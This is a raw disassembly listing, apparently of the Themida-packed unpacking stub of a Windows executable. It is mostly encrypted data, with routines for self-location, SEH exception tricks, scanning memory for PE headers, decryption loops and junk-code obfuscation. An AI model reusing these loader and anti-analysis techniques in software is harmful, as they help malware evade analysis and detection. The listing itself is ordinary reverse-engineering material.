		dd 0C0000h, 10860241h, 54h, 0Bh	dup(0)
		dd 0CC60000h, 6FF5h, 0
		dd 22A20000h, 54h, 0
		dd 0E0000000h, 4Dh, 4 dup(0)
		dd 23760000h, 86CEh, 2 dup(0)
		dd 34C10000h, 0D62Bh, 4C80000h,	5Ah, 3040000h, 7FFEh, 3040000h
		dd 21217FFEh, 2121h, 5 dup(0)
		dd 0B0490000h, 58h, 0FCFC0000h,	8001h, 2 dup(0)
		dd 0B1680000h, 9Fh, 0
		dd 93EF0000h, 13C677E7h, 0A0377FFEh, 5ECE00A0h,	19F2h
		dd 0F1200000h, 58h, 5 dup(0)
		dd 5CB50000h, 77E7h, 0
		dd 2B4A0000h, 54h, 0E3060000h, 57h, 2 dup(0)
		dd 0F00E0000h, 0F5D9h, 34C10000h, 0D62Bh, 2 dup(0)
		dd 1D770000h, 7784h, 2 dup(0)
		dd 599D0000h, 78A9h, 4 dup(0)
		dd 76CD0000h, 77E7h, 3 dup(0)
		dd 700000h, 29440000h, 10h, 88C00000h, 41h, 9 dup(0)
		dd 0EC0000h, 7 dup(0)
		dd 9BAC0000h, 0A2h, 3 dup(0)
		dd 97F00000h, 5Ah, 0C13B0000h, 5Ah, 2 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0F5AC0000h, 57h, 4C220000h, 0A9A0054h, 35B009Fh, 0
		dd 0A13F0000h, 77E7h, 0FFFF0000h, 0BFh,	36360000h, 3636h
		dd 1Eh dup(0)
		dd 0E1EA0000h, 22F5h, 5	dup(0)
		dd 0E3060000h, 57h, 2BDE0000h, 0CCE600A0h, 0CD5C35F6h
		dd 58h,	77F5h, 3 dup(0)
		dd 25Ah, 4 dup(0)
		dd 3040000h, 7FFEh, 59740000h, 8655h, 0
		dd offset dword_4FFE38+1C8h
		dd 0FE9Fh, 0E3060000h, 230057h,	58h, 2 dup(0)
		dd 5CB50000h, 77E7h, 0Ah dup(0)
		dd 940000h, 0
		dd 421D0000h, 57h, 12570000h, 58h, 4 dup(0)
		dd 0FCFC0000h, 8001h, 5	dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 31450000h, 0A0h, 0
		dd 69DD0000h, 0A0h, 0
		dd 6BBA0000h, 3040000h,	7FFEh, 8 dup(0)
		dd 0A2AE0259h, 0CB5Ah, 9 dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	13h dup(0)
		dd 0FB00000h, 4	dup(0)
		dd 417A0000h, 77E8h, 48CD0000h,	0C0E2h,	232D0000h, 58h
		dd 7 dup(0)
		dd 0FFB00000h, 190h, 3 dup(0)
		dd 189A0000h, 77DDh, 4FB70000h,	0FFA7h,	241h, 3	dup(0)
		dd 0CF700000h, 58h, 3 dup(0)
		dd 0B0BE0000h, 9A2Dh, 3	dup(0)
		dd 0B6500000h, 9B58h, 6BBA0000h, 0FF540000h, 12h, 40h
		dd 2 dup(0)
		dd 69DD0000h, 0A0h, 33F6025Ch, 54h, 0
		dd 401C0000h, 0FFFFh, 2	dup(0)
		dd 0A3DC0000h, 552Fh, 0
		dd 0BC0000h, 2 dup(0)
		dd 0A5FD0000h, 355A77E7h, 945Ah, 0
		dd 8EC80000h, 0FFFFh, 0ABB30000h, 50000h, 0
		dd 6E940000h, 7	dup(0)
		dd 0E450000h, 2424062Ah, 2424h,	3 dup(0)
		dd 0AC0000h, 0
		dd 8AFC0000h, 7AC0005Ah, 57h, 2	dup(0)
		dd 10000h, 5 dup(0)
		dd 5700000h, 5Ah, 3 dup(0)
		dd 34C10000h, 0D62Bh, 2	dup(0)
		dd 32100000h, 304FFA8h,	48B87FFEh, 54h,	0
		dd 10000h, 3 dup(0)
		dd 60D80000h, 0FFA8h, 2	dup(0)
		dd 28Ah, 39BC0000h, 7A8Ah, 2 dup(0)
		dd 211D0000h, 1671h, 5 dup(0)
		dd 0EBB30000h, 77F7h, 0Bh dup(0)
		dd 60000h, 0
		dd 32100000h, 0FFA8h, 6	dup(0)
		dd 73160000h, 0A2h, 5 dup(0)
		dd 0FCFC0000h, 8001h, 3	dup(0)
		dd 20000h, 6 dup(0)
		dd 56430000h, 0Bh dup(0)
		dd 0BDAC0000h, 0FFB00000h, 1C0h, 2 dup(0)
		dd 1050000h, 0A28h, 3 dup(0)
		dd 117E0000h, 54h, 2 dup(0)
		dd 3040000h, 0C4867FFEh
		db 0E7h, 77h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_543D8E:				; CODE XREF: start:loc_540A69j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5EA332Fh
		mov	[ebp+5EA1D71h],	edx
		mov	[ebp+5EA1D8Dh],	esi
		mov	[ebp+5EA0BCDh],	eax
		cmp	dword ptr [ebp+5EA20CDh], 0
		jz	short loc_543DC6
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_543DC6:				; CODE XREF: start+63DA4j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5EA2ABDh],	eax
		push	45h
		call	sub_543E7A
		push	783749Ah
		call	sub_543EC0
		push	0A894B25h
		call	sub_543EC0
		jmp	loc_544004
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_543E7A	proc near		; CODE XREF: start+63DBEp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5EA341Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_543E96:				; CODE XREF: sub_543E7A+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_543EB5
		mov	eax, [ebp+arg_0]
		mov	[ebx+5EA3387h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_543E96
; ---------------------------------------------------------------------------

loc_543EB5:				; CODE XREF: sub_543E7A+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_543E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_543EC0	proc near		; CODE XREF: start+63DC8p start+63DD2p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5EA3466h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_543EE6:				; CODE XREF: sub_543EC0+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_543EE6
		mov	[ebp+var_84], 0
		lea	edi, [edx+5EA3387h]
		lea	esi, [ebp+var_80]

loc_543F16:				; CODE XREF: sub_543EC0+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_543F22:				; CODE XREF: sub_543EC0+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_543F22
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_543F16
		popa
		leave
		retn	4
sub_543EC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_543F60
; ---------------------------------------------------------------------------

loc_543F5C:				; CODE XREF: Themida_:00543F63j
		inc	dword ptr [ebp-4]
		inc	esi

loc_543F60:				; CODE XREF: Themida_:00543F5Aj
		cmp	byte ptr [esi],	0
		jnz	short loc_543F5C
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_543FF1
; ---------------------------------------------------------------------------

loc_543F72:				; CODE XREF: Themida_:00543FF4j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_543FE8
; ---------------------------------------------------------------------------

loc_543F7B:				; CODE XREF: Themida_:00543FECj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_543FD5
; ---------------------------------------------------------------------------

loc_543F8B:				; CODE XREF: Themida_:00543FD9j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_543FAD
		cmp	bl, 39h
		ja	short loc_543FAD
		sub	bl, 30h
		jmp	short loc_543FCF
; ---------------------------------------------------------------------------

loc_543FAD:				; CODE XREF: Themida_:00543FA1j
					; Themida_:00543FA6j
		cmp	bl, 61h
		jb	short loc_543FBF
		cmp	bl, 66h
		ja	short loc_543FBF
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_543FCF
; ---------------------------------------------------------------------------

loc_543FBF:				; CODE XREF: Themida_:00543FB0j
					; Themida_:00543FB5j
		cmp	bl, 41h
		jb	short loc_543FCF
		cmp	bl, 46h
		ja	short loc_543FCF
		sub	bl, 41h
		add	bl, 0Ah

loc_543FCF:				; CODE XREF: Themida_:00543FABj
					; Themida_:00543FBDj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_543FD5:				; CODE XREF: Themida_:00543F89j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_543F8B
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_543FE5
		mov	eax, [ebp-10h]
		stosb

loc_543FE5:				; CODE XREF: Themida_:00543FDFj
		inc	dword ptr [ebp-8]

loc_543FE8:				; CODE XREF: Themida_:00543F79j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_543F7B
		add	edx, 4

loc_543FF1:				; CODE XREF: Themida_:00543F70j
		cmp	edx, [ebp-4]
		jb	loc_543F72
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_544004:				; CODE XREF: start+63DD7j
		mov	ecx, 7000h
		lea	edi, [ebp+5EA35ACh]

loc_54400F:				; CODE XREF: start+63FFFj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54400F
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5EA3678h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bh, 23h
		movsx	ebx, si
		sub	eax, edx
		jnp	loc_54404F
		mov	bl, 57h

loc_54404F:				; CODE XREF: start+64033j
		and	eax, 0FFFFF000h
		mov	ecx, edx
		xor	edi, edi

loc_544058:				; CODE XREF: start+6405Fj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54406D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_544075

loc_54406D:				; CODE XREF: start+64049j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_544058
; ---------------------------------------------------------------------------

loc_544075:				; CODE XREF: start+64057j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+5EA368Bh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_5440AF
		mov	esi, [eax+1Ch]

loc_5440AF:				; CODE XREF: start+64096j
		xor	eax, eax

loc_5440B1:				; CODE XREF: start+640B0j
		cmp	eax, 32h
		jz	short loc_5440D5
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_5440C6

loc_5440BD:				; CODE XREF: start+640BFj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_5440B1
; ---------------------------------------------------------------------------

loc_5440C6:				; CODE XREF: start+640A7j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_544117
		jmp	short loc_5440BD
; ---------------------------------------------------------------------------

loc_5440D5:				; CODE XREF: start+640A0j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 51h,	8Bh, 4Ch
		dd 0A9811024h, 0B0h, 1000h, 0C3C03359h,	244C8B51h, 0E85510h
		dd 5D000000h, 3696ED81h, 858D05EAh, 5EA3654h, 0B88189h
		dd 595D0000h
		db 33h,	0C0h, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_544117:				; CODE XREF: start+640BDj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		jz	loc_54412C
		mov	bx, 85D3h

loc_54412C:				; CODE XREF: start+6410Ej
		mov	bx, 2CF6h
		adc	ebx, 100E12C3h
		mov	cx, ds
		pusha
		sbb	ebx, 21ABABDFh
		push	edx
		and	al, 70h
		pop	eax
		popa
		and	cl, 4
		mov	ebx, 1A3715EFh
		or	cl, cl
		jnz	loc_5441B8
		push	0
		push	edi
		call	sub_544161
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_544161	proc near		; CODE XREF: start+64145p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_544161	endp

; ---------------------------------------------------------------------------
		db 9Bh,	0FBh, 94h
		dd 55AF742Eh, 0DA8B6668h, 2D185C7h, 105EAh, 0DE80000h
		dd 75000000h, 979ED2C7h, 0A58DC7A6h, 0C7F6A4CDh, 11E9h
		dd 77520C00h, 0C32CC656h, 93325CBDh, 0C0DD0B15h, 0E95B9933h
		dd 3Ch,	68B6BB66h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5441B8:				; CODE XREF: start+6413Cj
		mov	dword ptr [ebp+5EA02D1h], 0
		push	0
		push	ecx
		call	sub_5441CD
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_5441CD	proc near		; CODE XREF: start+641B1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5441CD	endp

; ---------------------------------------------------------------------------
		db 32h,	20h, 30h
		dd 2F61E8F4h, 5850F0Bh,	0BB000000h, 285D6B1Fh, 1D458589h
		dd 0DE805EAh, 0A2000000h, 627FBDCh, 27300955h, 0B0A6F665h
		dd 6890Fh, 0D3810000h, 18854A88h, 8D85895Bh, 0E805EA23h
		dd 5, 2781B57Bh, 5FD98BBCh, 8E8h, 6C16F200h, 2048329Bh
		dd 3840F76h, 0F000000h,	815AD1B7h, 69E7C7h, 68B7B400h
		dd 0
		dd 8890Fh, 0F560000h, 8Eh, 66595800h, 0FFA134B8h, 0D8803934h
		dd 14E95EE0h, 0D1000000h, 3D139038h, 5A1A1A5Ah,	0EEC71F1h
		dd 3BB11F51h, 81AAB1ACh, 71862FEEh, 5E95130h, 8000000h
		dd 5E0EC3E7h, 0F68158h,	0B70A2366h, 9BF68162h, 6618C4A2h
		dd 890BBDBBh, 0B70F0F34h, 838CB0C0h, 4FBA01E9h,	4929C073h
		dd 8B664949h, 0DCF981D0h, 0FFFFF96h, 0E85h, 0E9C38B00h
		dd 1Bh,	751C645h, 818A60FBh, 7007F0F3h,	0FF81E947h, 0C9F7FFFFh
		dd 8C310934h, 0E89E7BB3h, 0Fh, 0F8DFFC92h, 0B794E22Bh
		dd 0B7788DC0h, 80AB7544h, 0E95A31DFh, 9, 9025C0DFh, 0C7BB1366h
		dd 1C281C8h, 66000071h,	682879B8h, 0
		dd 5FCABF0Fh, 88C0Fh, 870F0000h, 2, 348BCA8Bh, 81DA8B3Ah
		dd 1FAFF9EEh, 48F0F56h,	66000000h, 81FAEABBh, 751B9FF6h
		dd 0D9D0B849h, 0F6813771h, 52AE50E6h, 58C08166h, 3A3489D2h
		dd 0D2C60ABBh, 81DA8B43h, 85959CEFh, 0CFBF0F30h, 9598C781h
		dd 810F3085h, 11h, 0B890Fh, 6E90000h, 84000000h, 9F4E8DE6h
		dd 0ACFF81E5h, 0FFFFF8Fh, 0FFFF9985h, 0C88160FFh, 28EA863h
		dd 781E961h, 8B600000h,	0EA11F595h, 0C2816605h,	1761E7CDh
		dd 2, 0F3E40000h, 9C5F1EA8h, 7349FF7Fh,	9793F4A9h, 9BBFE945h
		dd 5507h, 75B529h, 0F56005EAh, 0B8FCh, 8BFC0000h, 0E9282454h
		dd 5, 0F24038A1h, 5D858945h, 0F505EA2Dh, 3CBEh,	10880F00h
		dd 0E9000000h, 0Bh, 2308FC35h, 0BC5CC73Fh, 3EA599Eh, 0F8242474h
		dd 0BE9h, 1D651C00h, 5A168880h,	8E87E0C5h, 9D89AD66h, 5EA0DDDh
		dd 24244403h, 13E990F5h, 87000000h, 0B9AF283Ch,	0D4CB8056h
		dd 70BB4E91h, 12F810A0h, 0E9505A43h, 0Ah, 8CFE8CE6h
dword_544450	dd 0D066FFF6h, 8990C7D8h, 0EA05B18Dh, 78408B05h, 2D99501h
					; DATA XREF: ___:off_43CD24o
		dd 440305EAh, 9D092824h, 5EA14D9h, 2918408Bh, 0EA2F458Dh
		dd 880F4005h, 6, 0CC99529h, 858905EAh, 5EA3946h, 68D0FFCh
		dd 89000000h, 0EA1C6DBDh, 8D315805h, 5EA05EDh, 68D0Fh
		dd 0BD890000h, 5EA09C9h, 6078708Bh, 141BD89h, 836105EAh
		dd 85291CC6h, 5EA167Dh,	24247403h, 15558589h, 0BD8D05EAh
		dd 5EA17F9h, 0D5858B60h, 8005EA29h, 0AD614CCEh,	8E9h, 83D55900h
		dd 6FD9AB5Fh, 24440308h, 5DB58924h, 0AB05EA2Ah,	99BD8B60h
		dd 8905EA2Ch, 0EA32B595h, 8B606105h, 9E9F7h, 49ED0000h
		dd 74716991h, 61002E68h, 65DBD8Dh, 0ADFC05EAh, 29559509h
		dd 440305EAh, 85292424h, 5EA2B01h, 7800F50h, 60000000h
		dd 52CB8B66h, 489615Bh,	0FE924h, 15D30000h, 3488BCBh, 43484B73h
		dd 24122B48h, 9D01AB52h, 5EA30F9h, 1D61BD8Dh, 0BD2905EAh
		dd 5EA0BC9h, 810FF9ADh,	1, 244403F9h, 58D8928h,	0AB05EA17h
		dd 13E9h, 785B3100h, 56009445h,	0A7C6B309h, 3D5B14D8h
		dd 7E247E52h, 0CE95Eh, 0E8140000h, 4FCE1C81h, 0B5419A22h
		dd 8DFF388Fh, 5EA3946h,	3946BD83h, 750005EAh, 2444C710h
		dd 1Ch,	2BB58D00h, 0FF05EA3Eh, 3AD56E6h, 97282444h, 858ADF8Bh
		dd 5EA1A45h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
		dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
		dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h,	5449F381h
		dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
		dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2D5D85FFh, 6FE905EAh
		dd 5EFFFFFFh, 0E8B0Fh, 81600000h, 0BA4CD7D9h, 21B58B4Dh
		dd 6105EA01h, 1840Fh, 8BF50000h, 0EA2D5D85h, 0E0D1F805h
		dd 0A8E0Fh, 8B600000h, 0EA11ED85h, 61585305h, 1D618503h
		dd 896005EAh, 0EA1A8D8Dh, 9858905h, 6105EA30h, 12880Fh
		dd 0DE90000h, 0F8000000h, 9E18DB7Ah, 0F94A75DDh, 0D28985BCh
		dd 0BEh, 0B98D8900h, 9605EA09h,	13E9h, 0F0B0FA00h, 66E7F531h
		dd 50588C88h, 3C7FE36Bh, 653D94E0h, 0CE9AD66h, 4D000000h
		dd 0E886E2DDh, 0F7666CF3h, 0C1D7A7DBh, 8C0F02E0h, 10h
		dd 0BE9h, 0C07CC600h, 970B57D8h, 367A758Dh, 17F98503h
		dd 10E905EAh, 0B8000000h, 0FE144D2Ch, 8333C244h, 9867DE1Dh
		dd 96B03ABCh, 0BF19589h, 60AD05EAh, 0F69958Bh, 9D8B05EAh
		dd 5EA07E9h, 14E961h, 69070000h, 0D0DCF15Fh, 0BC02A23Eh
		dd 0A78BD844h, 0C08EAF87h, 4C8BAABAh, 0FC602424h, 16059D8Bh
		dd 0E96105EAh, 0Bh, 92B15B3h, 34F7B93Eh, 3C8A42Fh, 0F242444h
		dd 687h, 499D0100h, 8905EA0Bh, 0E91C2444h, 0Dh,	0C825A8A0h
		dd 2848CABCh, 820C3CCBh, 896096C4h, 0EA30F5B5h,	14E905h
		dd 0B7200000h, 0BAA1B2FCh, 9CE0B491h, 139F4C2Eh, 0AB336A42h
		dd 31618EADh, 0EA1DB9B5h, 820FAC05h, 18h, 13E9h, 0DC9CE00h
		dd 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh,	8E0FC932h
		dd 1, 0FC1FEFCh, 684h, 359D2900h, 0D005EA07h, 0BD830FD0h
		dd 89000000h, 0EA16618Dh, 0FD0D005h, 0AF83h, 58D3100h
		dd 0D005EA2Eh, 0A1820FD0h, 0F5000000h, 6E860h, 30B90000h
		dd 0C8FC75F7h, 0FE9h, 0D6AE5900h, 1E07BE6Eh, 0DCF62BFCh
		dd 6BDE798Fh, 9185895Ah, 6105EA2Eh, 820FD0D0h, 70h, 65B50160h
		dd 0E805EA0Ch, 0Dh, 20FFE08Dh, 0B6114E87h, 77567683h, 0F19D337Ah
		dd 5B05EA23h, 0FC9FE61h, 0FFFF8289h, 0C850FFFh,	0F000000h
		dd 68Ah, 860F00h, 83000000h, 5E920C4h, 0B2000000h, 89C7628Dh
		dd 0FC2444C7h, 0
		dd 70D8589h, 1B805EAh, 0F5000000h, 70628D8Dh, 9D0105EAh
		dd 5EA23A5h, 8D89E1FFh,	5EA2CF1h, 1A4585C6h, 10005EAh
		dd 0EA129DBDh, 860F6105h, 1, 8C2FCh, 6890Fh, 9D290000h
		dd 5EA2D6Dh, 9E996h, 6CF40000h,	0E0B90171h, 5007536Bh
		dd 52505250h, 8D0Fh, 310F0000h,	310F5250h, 585A585Ah, 820F310Fh
		dd 17h,	12E9h, 87417C00h, 0E8AF1159h, 3D64BB52h, 504693B5h
		dd 5A69E509h, 880F9658h, 11h, 0CE9h, 0E8327B00h, 0D59978FFh
		dd 50524743h, 80B589A5h, 2905EA40h, 0EA0B418Dh,	0A98D8905h
		dd 0F05EA40h, 1984h, 14E900h, 0C7910000h, 3CC000CEh, 0EDC7C653h
		dd 0AFB01FCAh, 0EB7B4E51h, 9D89CEF2h, 5EA1E95h,	3F29B58Dh
		dd 0AE905EAh, 46000000h, 5E263AA2h, 0E598B664h,	35858DB2h
		dd 60005B7Eh, 880Fh, 0FF610000h, 0F99D29D0h, 5E05EA07h
		dd 18F0Fh, 0C3FC0000h, 0DE9h, 8359B900h, 56A42D83h, 0B3D25A05h
		dd 0B58B8061h, 5EA4080h, 599BD01h, 8D8B05EAh, 5EA40A9h
		dd 37BB6660h, 718D8969h, 6105EA10h, 1399B509h, 0B805EAh
		dd 89000000h, 0EA09699Dh, 0F8D98B05h, 131D9531h, 0E8E905EAh
		dd 0E9000000h, 9, 0AF8D8CBh, 881DDDF6h,	6026326Dh, 0E9F88B66h
		dd 14h,	2E510FDBh, 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h
		dd 2902B261h, 0EA2E6195h, 0C870F05h, 0F000000h,	687h, 840F00h
		dd 0E9000000h, 72h, 6840Fh, 85890000h, 5EA2905h, 0BD89C232h
		dd 5EA1EA9h, 751D7A05h,	9820F8Ah, 60000000h, 61BD0Bh, 61F805EAh
		dd 8D29CC8Ah, 5EA257Dh,	6660C8D3h, 8509F28Bh, 5EA24ADh
		dd 7870F61h, 0F000000h,	18Bh, 4235F500h, 6098D108h, 32A1858Bh
		dd 61FC05EAh, 1D418589h, 0CAFE05EAh, 0C860Fh, 850F0000h
		dd 6, 8A0Fh, 0D20A0000h, 0FF92850Fh, 5760FFFFh,	7299589h
		dd 665A05EAh, 61CB40B9h, 0E946F84Bh, 0Bh, 603FA6FFh, 0BD4696EEh
		dd 0B506A61h, 1E850FDBh, 0E9FFFFFFh, 11h, 6062BCA0h, 9F1AE1EBh
		dd 27E08D1h, 8FB8F400h,	9D89CF85h, 5EA094Dh, 8E9h, 4987B100h
		dd 414CB8EBh, 0F000077h, 1881h,	12810F00h, 0E9000000h
		dd 0Dh,	8804E5B2h, 3DC91E4Ah, 19721548h, 0F50000FDh, 14158529h
		dd 5EAh, 12A99529h, 5EAh, 18E0Fh, 8DF50000h, 0EA396985h
		dd 0B70F6005h, 8961F8F8h, 0EA0AFD95h, 5D858905h, 0F505EA03h
		dd 3E4F858Dh, 606005EAh, 958B6160h, 5EA2F45h, 85896161h
		dd 5EA31B1h, 14EBh, 3 dup(0)
dword_544B64	dd 8B0000h, 858D0000h, 5EA41B9h, 2D558589h, 0BD8305EAh
		dd 5EA40F9h, 23840F00h,	0C6000001h, 0EA1A4585h,	26685605h
		dd 81C535F7h, 9A1F2434h, 0B5FF112Ah, 5EA1D45h, 3969858Dh
		dd 0D0FF05EAh, 40ED8589h, 85C605EAh, 5EA1A45h, 4E856h
		dd 0B8520000h, 8B509CA8h, 8B042444h, 24448900h,	0B5FF5804h
		dd 5EA1D45h, 3969858Dh,	0D0FF05EAh, 40F18589h, 46A05EAh
		dd 1AE5EB68h, 24348155h, 551AF5EBh, 40FD858Bh, 0F40505EAh
		dd 0C1000001h, 895002E0h, 6A2404h, 40F195FFh, 858905EAh
		dd 5EA40F5h, 0FFB8D88Bh, 0FFFFFFFFh, 0EA2D5595h, 0FFC38B05h
		dd 0EA2D5595h, 84E905h,	0BD830000h, 5EA40F9h, 1850F00h
		dd 0C3000000h, 0F5BD8B57h, 0AB05EA40h, 40F58583h, 5F0405EAh
		dd 0F9BD83C3h, 5EA40h, 1850Fh, 60C30000h, 40F5AD83h, 8B0405EAh
		dd 0EA40F59Dh, 0FC7B8305h, 1D850FFFh, 68000000h, 67CC7E78h
		dd 78243481h, 6A67CCFEh, 0FF33FF00h, 0EA40ED95h, 0E9C36105h
		dd 1Dh,	5C068E68h, 24348104h, 45C868Eh,	33FF006Ah, 40ED95FFh
		dd 0AD8305EAh, 5EA40F5h, 0FFB1E904h, 0E948FFFFh, 9D3h
		dd 544182B4h, 9493AEFDh, 0FFCC199Eh, 0BD481687h, 0B7D602ACh
		dd 7874504Ch, 92E1E768h, 67725605h, 5941A4E9h, 9C9FECF6h
		dd 0AC9E0E8Ch, 0F84F0496h, 0D4B949A3h, 6C7E5A3Ch, 0C0EDE675h
		dd 61705605h, 5941A7E6h, 8180ECECh, 0B29E1196h,	0EF541A8Ah
		dd 0B7D247B7h, 68691608h, 92A0F775h, 61651804h,	4041B1F2h
		dd 8181A3EAh, 901198h, 63h dup(0)
		dd 5D4182B4h, 878FA2F7h, 0AF9E0E96h, 0EF5C189Dh, 0B1930AAFh
		dd 6F3B450Dh, 0C0AFE663h, 60695716h, 4513E3E3h,	9D8FA2F6h
		dd 0B1D75C9Eh, 0E8540ECFh, 0A0C047BCh, 607E421Fh, 0B0CC8928h
		dd 7D7D5D1Ch, 4541EFE2h, 9289A0F6h, 0ABD75C9Dh,	0F24911CFh
		dd 0BCDE47A3h, 74695901h, 84AFE226h, 7D794A50h,	4413A2F3h
		dd 8689B5B8h, 0ADCE5C8Bh, 0FC491080h, 49A3h, 0Ah dup(0)
		db 2 dup(0)
word_544F42	dw 0			; DATA XREF: ___:off_435750o
		dd 3Dh dup(0)
		dd 534182B4h, 9885ADEAh, 0AC990E9Ch, 0F25403CFh, 0B8DB47A2h
		dd 6879161Fh, 86E1ED63h, 6A724D1Fh, 5E14B1A7h, 9488A5F6h
		dd 0FFD015D9h, 0EF4E1896h, 0AACA14EEh, 23765318h, 8C918E0Ch
		dd 6B6F5915h, 5E14E3ABh, 9787A3F4h, 0FFCA15D9h,	0F0540589h
		dd 0B4D60AEEh, 2D624403h, 0C0A5ED67h, 7A6F5D02h, 1015B1E6h
		dd 8193A3E1h, 0B0CC0CD9h, 0F05A0588h, 0E0h, 61h	dup(0)
		dd 5C0885B4h, 9C85ECFDh, 0AFCB0E8Bh, 0BC5F129Bh, 0B1E747E0h
